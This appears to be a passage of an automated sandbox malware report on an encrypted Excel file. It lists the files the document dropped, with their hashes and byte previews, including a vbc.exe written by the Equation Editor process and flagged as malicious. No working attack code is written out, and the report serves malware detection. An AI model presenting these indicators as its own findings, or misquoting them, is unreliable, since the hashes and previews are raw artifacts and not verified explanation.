Preview:	....l...).......u...<.........../....... EMF....l...........................8...X....................?..................................C...R...p...................................S.e.g.o.e. .U.I.....................................................6.).X...0...d.....................o...o...p....\.....o.......o.l.o...p......o.<5.u..p....`.pHx..$y.w............(.o....w....$.....8.d.........o..^.p.....^.p8..............-...T.o..<.w................<.9u.Z.v....X.\....Hx.........................vdv......%...................................r...................'...........(...(..................?...........?................l...4...........(...(...(...(...(..... .........................................................................................................................................................................................................................................HD?^KHCcNJFfOJFiQMHlSPJoUPLrWRMvYSPx[UR{]XQ~^XS._ZT.a[U.c\U.e^V.e^X.g`Y.hbY.jaZ.jb\.ld].ld].nd^.nf^.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3A9AFE9C.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
Category:	dropped
Size (bytes):	8815
Entropy (8bit):	7.944898651451431
Encrypted:	false
SSDEEP:	192:Qjnr2Il8e7li2YRD5x5dlyuaQ0ugZIBn+0O2yHQGYtPto:QZl8e7li2YdRyuZ0b+JGgtPW
MD5:	F06432656347B7042C803FE58F4043E1
SHA1:	4BD52B10B24EADECA4B227969170C1D06626A639
SHA-256:	409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6
SHA-512:	358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE95F0E
Malicious:	false
Preview:	......JFIF...................................................) ..(...!1!%)-.....383,7(..,...........+...7++++-+++++++++++++++---++++++++-+++++++++++++++++...........".......................................F........................!."1A..QRa.#2BSq......3b.....$c....C...Er.5.........................................................?..x.5.PM.Q@E..I......i..0.$G.C...h..Gt....f..O..U..D.t^...u.B...V9.f..<..t(.kt...d.@...&3)d@@?.q...t..3!.... .9.r.....Q.(:.W..X&..&.1&T..K..\|kc.....[..l.3(f+.c...:+....5....hHR.0....^R.G..6...&pB..d.h.04.+..S...M........[....'......J...,...<.O.........Yn...T.!..E*G.[I..-.......$e&........z..[..3.+~..a.u9d.&9K.xkX'.."...Y...l.......MxPu..b..:0e:.R.#.......U....E...4Pd/..0.`.4 ...A...t.....2....gb[)b.I."&..y1..........l.s>.ZA?..........3... z^....L.n6..Am.1m....0../..~.y......1.b.0U...5.oi.\.LH1.f....sl................f.'3?...bu.P4>...+..B....eL....R.,...<....3.0O$,=..K.!....Z.......O.I.z....am....C.k..iZ ...<ds....f8f..R....K

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3D45ADF5.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 333x151, frames 3
Category:	dropped
Size (bytes):	14198
Entropy (8bit):	7.916688725116637
Encrypted:	false
SSDEEP:	384:lboF1PuTfwKCNtwsU9SjUB7ShYIv7JrEHaeHj7KHG81I:lboFgwK+wD9SA7ShX7JrEL7KHG8S
MD5:	E8FC908D33C78AAAD1D06E865FC9F9B0
SHA1:	72CA86D260330FC32246D28349C07933E427065D
SHA-256:	7BB11564F3C6C559B3AC8ADE3E5FCA1D51F5451AFF5C522D70C3BACEC0BBB5D0
SHA-512:	A005677A2958E533A51A95465308F94BE173F93264A2A3DB58683346CA97E04F14567D53D0066C1EAA33708579CD48B8CD3F02E1C54F126B7F3C4E64AC196E17
Malicious:	false
Preview:	......JFIF.................................... .... !....!..!) ..&.".#1!&)+... "383-7(-.-...........-...------0--------+-------------------+--------------........M..".......................................E......................!...1A"Q.aq..2B..#R..3b...$r..C......4DSTcs..................................................Q.A............?...f.t..Q ]....i".G.2....}....m..D..."......Z.5..5...CPL..W..o7....h.u..+.B...R.S.I. ..m...8.T...(.YX.St.@r..ca...\|5.2.....%..R.A67.........{....X.;...4.D.o'..R...sV8....rJm....2Est-.......U.@......\|j.4.mn..Ke!G.6PJ.S>..0....q%..... .....@...T.P.<...q.z.e....((H+. ..@$...'..?..h.P.]...ZP.H..l?s2l.$.N..?xP..c...@....A..D.l......1...[q[5(-.J..@...$..N....x.U.fHY!..PM..[.P........aY.....S.R.....Y...(D.\|..10........... ..l..\|F...E9...RU:.P...p$.'......2.s.-....a&.@..P.....m..........L.a.H;Dv)...@u...s.,.h..6..Y,....D.7....,.UHe.s..PQ.Ym....)..(y.6.u...i.V.'2`....&.... ^...8.+]K)R...\.'A...I..B..?[.:.L(c3J..%..$.3..E0@...."5fj...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4D264A0F.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3
Category:	dropped
Size (bytes):	85020
Entropy (8bit):	7.2472785111025875
Encrypted:	false
SSDEEP:	768:RgnqDYqspFlysF6bCd+ksds0cdAgfpS56wmdhcsp0Pxm00JkxuacpxoOlwEF3hVL:RUqQGsF6OdxW6JmPncpxoOthOip
MD5:	738BDB90A9D8929A5FB2D06775F3336F
SHA1:	6A92C54218BFBEF83371E825D6B68D4F896C0DCE
SHA-256:	8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDA5A13F87DDAAB
SHA-512:	48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EED8EFC176FECF0BEF4EC4EE6C342FC76CCDA4E8D6
Malicious:	false
Preview:	......JFIF.............C....................................................................C.......................................................................r...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\67EABCC4.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
Category:	dropped
Size (bytes):	8815
Entropy (8bit):	7.944898651451431
Encrypted:	false
SSDEEP:	192:Qjnr2Il8e7li2YRD5x5dlyuaQ0ugZIBn+0O2yHQGYtPto:QZl8e7li2YdRyuZ0b+JGgtPW
MD5:	F06432656347B7042C803FE58F4043E1
SHA1:	4BD52B10B24EADECA4B227969170C1D06626A639
SHA-256:	409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6
SHA-512:	358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE95F0E
Malicious:	false
Preview:	......JFIF...................................................) ..(...!1!%)-.....383,7(..,...........+...7++++-+++++++++++++++---++++++++-+++++++++++++++++...........".......................................F........................!."1A..QRa.#2BSq......3b.....$c....C...Er.5.........................................................?..x.5.PM.Q@E..I......i..0.$G.C...h..Gt....f..O..U..D.t^...u.B...V9.f..<..t(.kt...d.@...&3)d@@?.q...t..3!.... .9.r.....Q.(:.W..X&..&.1&T..K..\|kc.....[..l.3(f+.c...:+....5....hHR.0....^R.G..6...&pB..d.h.04.+..S...M........[....'......J...,...<.O.........Yn...T.!..E*G.[I..-.......$e&........z..[..3.+~..a.u9d.&9K.xkX'.."...Y...l.......MxPu..b..:0e:.R.#.......U....E...4Pd/..0.`.4 ...A...t.....2....gb[)b.I."&..y1..........l.s>.ZA?..........3... z^....L.n6..Am.1m....0../..~.y......1.b.0U...5.oi.\.LH1.f....sl................f.'3?...bu.P4>...+..B....eL....R.,...<....3.0O$,=..K.!....Z.......O.I.z....am....C.k..iZ ...<ds....f8f..R....K

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\78100EDE.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	84203
Entropy (8bit):	7.979766688932294
Encrypted:	false
SSDEEP:	1536:RrpoeM3WUHO25A8HD3So4lL9jvtO63O2l/Wr9nuQvs+9QvM4PmgZuVHdJ5v3ZK7+:H5YHOhwx4lRTtO6349uQvXJ4PmgZu11J
MD5:	208FD40D2F72D9AED77A86A44782E9E2
SHA1:	216B99E777ED782BDC3BFD1075DB90DFDDABD20F
SHA-256:	CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF
SHA-512:	7BCE80FFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DB9D5ED8DA93C223F265C179CFADA609A64
Malicious:	false
Preview:	.PNG........IHDR...6...........>(....sRGB.........gAMA......a.....pHYs..........+......IDATx^.=v\9..H..f...:ZA..,'..j.r4.........SEJ,%..VPG..K.=....@.$oI.e7....U...... ....>n~&..._..._.rg....L...D.G!0..G!;...?...Oo.7....Cc...G....g>......_o..._._.}q...k.....ru..T.....S.!....~..@Y96.S.....&..1.:....o...q.6..S...'n..H.hS......y;.N.l.)."[ `.f.X.u.n.;........._h.(.u\|0a.....].R.z...2......GJY\|\..+b...{>vU.....i...........w+.p...X..._.V.-z..s..U..cR..g^..X......6n...6....O6.-.AM.f.=y ...7...;X....q..\|...=.\|K...w...}O..{\|...G........~.o3.....z....m6...sN.0..;/....Y..H..o............~........(W.`...S.t......m....+.K...<..M=...IN.U..C..].5.=...s..g.d..f.<Km..$..fS...o..:..}@...;k..m.L./.$......,}....3%..\|j.....b.r7.O!F...c'......$...)....\|O.CK...._......Nv....q.t3l.,. ....vD.-..o..k.w.....X...-C..KGld.8.a}\|..,.....,....q.=r..Pf.V#.....n...}........[w...N.b..W......;..?.Oq..K{>.K.....{w{.......6'/...,.}.E...X.I.-Y].JJm.j..pq\|.0...e.v......17...:F

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7FF60B83.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 613 x 80, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6815
Entropy (8bit):	7.871668067811304
Encrypted:	false
SSDEEP:	96:pJzjDc7s5VhrOxAUp8Yy5196FOMVsoKZkl3p1NdBzYPx7yQgtCPe1NSMjRP9:ppDc7sk98YM19SC/27QptgtCPWkUl
MD5:	E2267BEF7933F02C009EAEFC464EB83D
SHA1:	ACFEECE4B83B30C8B38BEB4E5954B075EAF756AE
SHA-256:	BF5DF4A66D0C02D43BB4AC423D0B50831A83CDB8E8C23CF36EAC8D79383AA2A7
SHA-512:	AB1C3C23B5533C5A755CCA7FF6D8B8111577ED2823224E2E821DD517BC4E6D2B6E1353B1AFEAC6DB570A8CA1365F82CA24D5E1155C50B12556A1DF25373620FF
Malicious:	false
Preview:	.PNG........IHDR...e...P.....X.......sBIT.....O.....sRGB.........gAMA......a.....pHYs..........+......tEXtSoftware.gnome-screenshot...>....IDATx^..tT....?.$.(.C..@.Ah.Z4.g...5[Vzv.v[9.=..KOkkw......(v.b..kYJ[.]...U...T$....!.....3....y3y....$.d....y..{....}....{.{..._6p#.. .. .. ..H(......I..H..H..H..4..c.l.E.B.$@.$@.$@.$0.........O[.9e......7......"''g.Da.$@.$@.$@.$0v.x.^....{..=...3..a0\7.\|...5())...}<vIQs. .. .. .....K>].........3..K.[.nE..Q..E............._2.k...4l.)........p............eK..S..[w^..YX...4.\]]]....w.....H..H..H...E`.)..*n.\...Sw.?..O..LM...H..`F$@.$@.$@.$.4..Nv.Hh...OV......9..(.........@..L..<..ef&..;.S..=..MifD.$@.$@.$@.N#.1i..D...qO.S.....rY.oc...\|.-..X./.].].rm.V<..l..U.q>v.1.G.}h+Z"...S..r.X..S.#x...FokVv.L.&.....8. 9.3m.6@.p..8.#...\|.RiNY.+.b...E.W.8^..o....;'..\.}........\|F.8V....x.8^~.>\..S....o..j.....m..I.....B.ZN....6\b.G...X.5....Or!...m.6@......yL.>.!R.\. ...._.....7..G.i.e.......9..r..[F.r.....P4.e.k.{..@].......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8E3548CB.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 613 x 80, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6815
Entropy (8bit):	7.871668067811304
Encrypted:	false
SSDEEP:	96:pJzjDc7s5VhrOxAUp8Yy5196FOMVsoKZkl3p1NdBzYPx7yQgtCPe1NSMjRP9:ppDc7sk98YM19SC/27QptgtCPWkUl
MD5:	E2267BEF7933F02C009EAEFC464EB83D
SHA1:	ACFEECE4B83B30C8B38BEB4E5954B075EAF756AE
SHA-256:	BF5DF4A66D0C02D43BB4AC423D0B50831A83CDB8E8C23CF36EAC8D79383AA2A7
SHA-512:	AB1C3C23B5533C5A755CCA7FF6D8B8111577ED2823224E2E821DD517BC4E6D2B6E1353B1AFEAC6DB570A8CA1365F82CA24D5E1155C50B12556A1DF25373620FF
Malicious:	false
Preview:	.PNG........IHDR...e...P.....X.......sBIT.....O.....sRGB.........gAMA......a.....pHYs..........+......tEXtSoftware.gnome-screenshot...>....IDATx^..tT....?.$.(.C..@.Ah.Z4.g...5[Vzv.v[9.=..KOkkw......(v.b..kYJ[.]...U...T$....!.....3....y3y....$.d....y..{....}....{.{..._6p#.. .. .. ..H(......I..H..H..H..4..c.l.E.B.$@.$@.$@.$0.........O[.9e......7......"''g.Da.$@.$@.$@.$0v.x.^....{..=...3..a0\7.\|...5())...}<vIQs. .. .. .....K>].........3..K.[.nE..Q..E............._2.k...4l.)........p............eK..S..[w^..YX...4.\]]]....w.....H..H..H...E`.)..*n.\...Sw.?..O..LM...H..`F$@.$@.$@.$.4..Nv.Hh...OV......9..(.........@..L..<..ef&..;.S..=..MifD.$@.$@.$@.N#.1i..D...qO.S.....rY.oc...\|.-..X./.].].rm.V<..l..U.q>v.1.G.}h+Z"...S..r.X..S.#x...FokVv.L.&.....8. 9.3m.6@.p..8.#...\|.RiNY.+.b...E.W.8^..o....;'..\.}........\|F.8V....x.8^~.>\..S....o..j.....m..I.....B.ZN....6\b.G...X.5....Or!...m.6@......yL.>.!R.\. ...._.....7..G.i.e.......9..r..[F.r.....P4.e.k.{..@].......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8F889450.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 684 x 477, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	33795
Entropy (8bit):	7.909466841535462
Encrypted:	false
SSDEEP:	768:mEWnXSo70x6wlKcaVH1lvLUlGBtadJubNT4Bw:mTDQx6XH1lvYlbdJux4Bw
MD5:	613C306C3CC7C3367595D71BEECD5DE4
SHA1:	CB5E280A2B1F4F1650040842BACC9D3DF916275E
SHA-256:	A76D01A33A00E98ACD33BEE9FBE342479EBDA9438C922FE264DC0F1847134294
SHA-512:	FCA7D4673A173B4264FC40D26A550B97BD3CC8AC18058F2AABB717DF845B84ED32891F97952D283BE678B09B2E0D31878856C65D40361CC5A5C3E3F6332C9665
Malicious:	false
Preview:	.PNG........IHDR..............T+....)iCCPicc..x..gP......}..m....T).HYz.^E...Y."bC..D..i. ...Q).+.X...X.,....."(.G.L.{'?..z.w.93..".........~....06\|G$/3........Q@.......%:&.......K....\............JJ.. ........@n..3./...f._>..L~...... ......{..T.\|ABlL..?-V...ag.......>.......W..@..+..pHK..O.....o....................w..F.......,...{....3......].xY..2....( .L..EP.-..c0.+..'p.o..P..<....C....(.........Z...B7\.kp...}..g .)x.......!"t... J.:...#...qB<.?$..@.T$..Gv"%H9R.4 -.O....r..F. ..,.'...P..D.P....\...@.qh.....{...=.v....(*D...`T..)cz..s...0,..c[.b..k..^l.{...9.3..c..8=........2p[q....I\.....7...}....x].%...........f\|'..~.?..H .X.M.9...JH$l&....:.W..I...H.!......H..XD.&."^!.....HT....L.#...H..V.e..i..D.#..-...h.&r....K.G."/Q.)..kJ.%...REi...S.S.T.....@.N.....NP?.$h:4.Z8-...v.v.....N.k...at.}/..~....I.!./.&.-.M.V.KdD.(YT].+.A4O.R...=.91.....X..V.Z..bcb...q#qo...R.V...3.D...'.h.B.c..%&..C....1v2..7.SL.S...Ld.0O3.....&.A......$.,...rc%..XgY.X_....R1R{..F.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\988D15ED.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 333x151, frames 3
Category:	dropped
Size (bytes):	14198
Entropy (8bit):	7.916688725116637
Encrypted:	false
SSDEEP:	384:lboF1PuTfwKCNtwsU9SjUB7ShYIv7JrEHaeHj7KHG81I:lboFgwK+wD9SA7ShX7JrEL7KHG8S
MD5:	E8FC908D33C78AAAD1D06E865FC9F9B0
SHA1:	72CA86D260330FC32246D28349C07933E427065D
SHA-256:	7BB11564F3C6C559B3AC8ADE3E5FCA1D51F5451AFF5C522D70C3BACEC0BBB5D0
SHA-512:	A005677A2958E533A51A95465308F94BE173F93264A2A3DB58683346CA97E04F14567D53D0066C1EAA33708579CD48B8CD3F02E1C54F126B7F3C4E64AC196E17
Malicious:	false
Preview:	......JFIF.................................... .... !....!..!) ..&.".#1!&)+... "383-7(-.-...........-...------0--------+-------------------+--------------........M..".......................................E......................!...1A"Q.aq..2B..#R..3b...$r..C......4DSTcs..................................................Q.A............?...f.t..Q ]....i".G.2....}....m..D..."......Z.5..5...CPL..W..o7....h.u..+.B...R.S.I. ..m...8.T...(.YX.St.@r..ca...\|5.2.....%..R.A67.........{....X.;...4.D.o'..R...sV8....rJm....2Est-.......U.@......\|j.4.mn..Ke!G.6PJ.S>..0....q%..... .....@...T.P.<...q.z.e....((H+. ..@$...'..?..h.P.]...ZP.H..l?s2l.$.N..?xP..c...@....A..D.l......1...[q[5(-.J..@...$..N....x.U.fHY!..PM..[.P........aY.....S.R.....Y...(D.\|..10........... ..l..\|F...E9...RU:.P...p$.'......2.s.-....a&.@..P.....m..........L.a.H;Dv)...@u...s.,.h..6..Y,....D.7....,.UHe.s..PQ.Ym....)..(y.6.u...i.V.'2`....&.... ^...8.+]K)R...\.'A...I..B..?[.:.L(c3J..%..$.3..E0@...."5fj...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A7DFC7A8.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 684 x 477, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	33795
Entropy (8bit):	7.909466841535462
Encrypted:	false
SSDEEP:	768:mEWnXSo70x6wlKcaVH1lvLUlGBtadJubNT4Bw:mTDQx6XH1lvYlbdJux4Bw
MD5:	613C306C3CC7C3367595D71BEECD5DE4
SHA1:	CB5E280A2B1F4F1650040842BACC9D3DF916275E
SHA-256:	A76D01A33A00E98ACD33BEE9FBE342479EBDA9438C922FE264DC0F1847134294
SHA-512:	FCA7D4673A173B4264FC40D26A550B97BD3CC8AC18058F2AABB717DF845B84ED32891F97952D283BE678B09B2E0D31878856C65D40361CC5A5C3E3F6332C9665
Malicious:	false
Preview:	.PNG........IHDR..............T+....)iCCPicc..x..gP......}..m....T).HYz.^E...Y."bC..D..i. ...Q).+.X...X.,....."(.G.L.{'?..z.w.93..".........~....06\|G$/3........Q@.......%:&.......K....\............JJ.. ........@n..3./...f._>..L~...... ......{..T.\|ABlL..?-V...ag.......>.......W..@..+..pHK..O.....o....................w..F.......,...{....3......].xY..2....( .L..EP.-..c0.+..'p.o..P..<....C....(.........Z...B7\.kp...}..g .)x.......!"t... J.:...#...qB<.?$..@.T$..Gv"%H9R.4 -.O....r..F. ..,.'...P..D.P....\...@.qh.....{...=.v....(*D...`T..)cz..s...0,..c[.b..k..^l.{...9.3..c..8=........2p[q....I\.....7...}....x].%...........f\|'..~.?..H .X.M.9...JH$l&....:.W..I...H.!......H..XD.&."^!.....HT....L.#...H..V.e..i..D.#..-...h.&r....K.G."/Q.)..kJ.%...REi...S.S.T.....@.N.....NP?.$h:4.Z8-...v.v.....N.k...at.}/..~....I.!./.&.-.M.V.KdD.(YT].+.A4O.R...=.91.....X..V.Z..bcb...q#qo...R.V...3.D...'.h.B.c..%&..C....1v2..7.SL.S...Ld.0O3.....&.A......$.,...rc%..XgY.X_....R1R{..F.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DCC67372.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	49744
Entropy (8bit):	7.99056926749243
Encrypted:	true
SSDEEP:	768:wnuJ6p14x3egT1LYye1wBiPaaBsZbkCev17dGOhRkJjsv+gZB/UcVaxZJ2LEz:Yfp1UeWNYF1UiPm+/q1sxZB/ZS
MD5:	63A6CB15B2B8ECD64F1158F5C8FBDCC8
SHA1:	8783B949B93383C2A5AF7369C6EEB9D5DD7A56F6
SHA-256:	AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232
SHA-512:	BB42A40E6EADF558C2AAE82F5FB60B8D3AC06E669F41B46FCBE65028F02B2E63491DB40E1C6F1B21A830E72EE52586B83A24A055A06C2CCC2D1207C2D5AD6B45
Malicious:	false
Preview:	.PNG........IHDR..............I.M....IDATx....T.]...G.;..nuww7.s...U..K......Ih....q!i...K....t.'k.W..i..>.......B.....E.0....f.a.....e....++...P..\|..^...L.S}r:..............sM....p..p-..y]...t7'.D)....../...k....pzos.......6;,..H.....U..a..9..1...$.......kI<..\F...$.E....?[B(.9.....H..!.....0AV..g.m...23..C..g(.%...6..>.O.r...L..t1.Q-.bE......)........\|i ..."....V.g.\.G..p..p.X[.....%hyt...@..J...~.p.....\|..>...~.`..E_....iU.G...i.O..r6...iV.....@..........Jte...5Q.P.v;..B.C...m......0.N......q...b.....Q...c.moT.e6OB...p.v"...."........9..G....B}...../m...0g...8......6.$.$]p...9.....Z.a.sr.;B.a....m...>...b..B..K...{...+w?....B3...2...>.......1..-.'.l.p........L....\.K..P.q......?>..fd.`w..y..\|y..,.....i..'&.?.....).e.D ?.06......U.%.2t........6.:..D.B....+~.....M%".fG]b\.[........1....".......GC6.....J.+......r.a...ieZ..j.Y...3..Q*m.r.urb.5@.e.v@@....gsb.{q-..3j........s.f.\|8s$p.?3H......0`..6)...bD....^..+....9..;$...W::.jBH..!tK

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EA784B99.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	648132
Entropy (8bit):	2.812379565083531
Encrypted:	false
SSDEEP:	3072:434UL0tS6WB0JOqFB5AEA7rgXuzqn8nG/qc+5:C4UcLe0JOcXuunhqcS
MD5:	31BA65BE1FB493107F7F598925CE6CC5
SHA1:	D732A62C6A995EED0D5CBF4E8BD8CB774BE2BA02
SHA-256:	02DF6DD93E56D18723A9A865B0877D0A440A156050DF91B7B81CD8288B94D504
SHA-512:	D0CFDF82446BC4587D6881F29D8B3198F87486F094B416EC7B7EDD68BE735E8BBE344EF1A6598AA97F688234578B83D03069D91B69FE59EAB957DCB4F13D3070
Malicious:	false
Preview:	....l...........................m>...!.. EMF........(...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@......................................................%...........%...................................R...p................................@."C.a.l.i.b.r.i......................................................X$...,...-z.X.@..%.......L...........0....NVZ.....................NVZ........ ....y.X........ .........r..z.X........................................%...X...%...7...................{$..................C.a.l.i.b.r.i...........<...X.................r....vdv......%...........%...........%...........!..............................."...........%...........%...........%...........T...T..........................@.E.@............L.......................P... ...6...F...$.......EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F26B3547.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3
Category:	dropped
Size (bytes):	85020
Entropy (8bit):	7.2472785111025875
Encrypted:	false
SSDEEP:	768:RgnqDYqspFlysF6bCd+ksds0cdAgfpS56wmdhcsp0Pxm00JkxuacpxoOlwEF3hVL:RUqQGsF6OdxW6JmPncpxoOthOip
MD5:	738BDB90A9D8929A5FB2D06775F3336F
SHA1:	6A92C54218BFBEF83371E825D6B68D4F896C0DCE
SHA-256:	8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDA5A13F87DDAAB
SHA-512:	48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EED8EFC176FECF0BEF4EC4EE6C342FC76CCDA4E8D6
Malicious:	false
Preview:	......JFIF.............C....................................................................C.......................................................................r...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(

C:\Users\user\Desktop\~$#U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	6.286624517223784
Encrypted:	false
SSDEEP:	1536:yzqGcUKFGnMrpxAcbsasHpL9T8oOmhfIRorEjZyZt:fcnM1rQa2dRPrEtyZt
MD5:	451E4CD68C69C2C8B8FC93AD02E8754A
SHA1:	B87D041383FA59A21BFF9666756EFA2784282199
SHA-256:	E406C6674E19F2F3368E26AD4E6D672B190EA5DF8CB1B5E95C9E22FB8C80738B
SHA-512:	FE42A6AFBD37EC5D20EC0C22153489EE0CA4A636FE8312DBF9554BEBE7C6D3D0E9AD602C3A746304F150561650FB2A887CFC10B3AD727A2FAB0A72A5A9D11911
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 36%, Browse Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L......K.....................@....................@.................................`u......................................$...(...........................................................................(... .......L............................text...`........................... ..`.data...............................@....rsrc............ ..................@..@...I............MSVBVM60.DLL....................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.989085616874321
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	#U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx
File size:	604672
MD5:	4a1d13469a6c817242e8b567bf34ab9a
SHA1:	a0d54f6c1205defad5f31cadf3393880e7c4c862
SHA256:	65514d1bcd58f206fbc6339c7893a4dc5fb3e7de39177038eac73906ec5c622c
SHA512:	a89649b90fe5900f3a014d84cee247df5ee514066bc2b58b968eea203d5290db6964aa5e6f5169cd4830121b0044c620c55db1089bb6c73c1af18f7a82729bf8
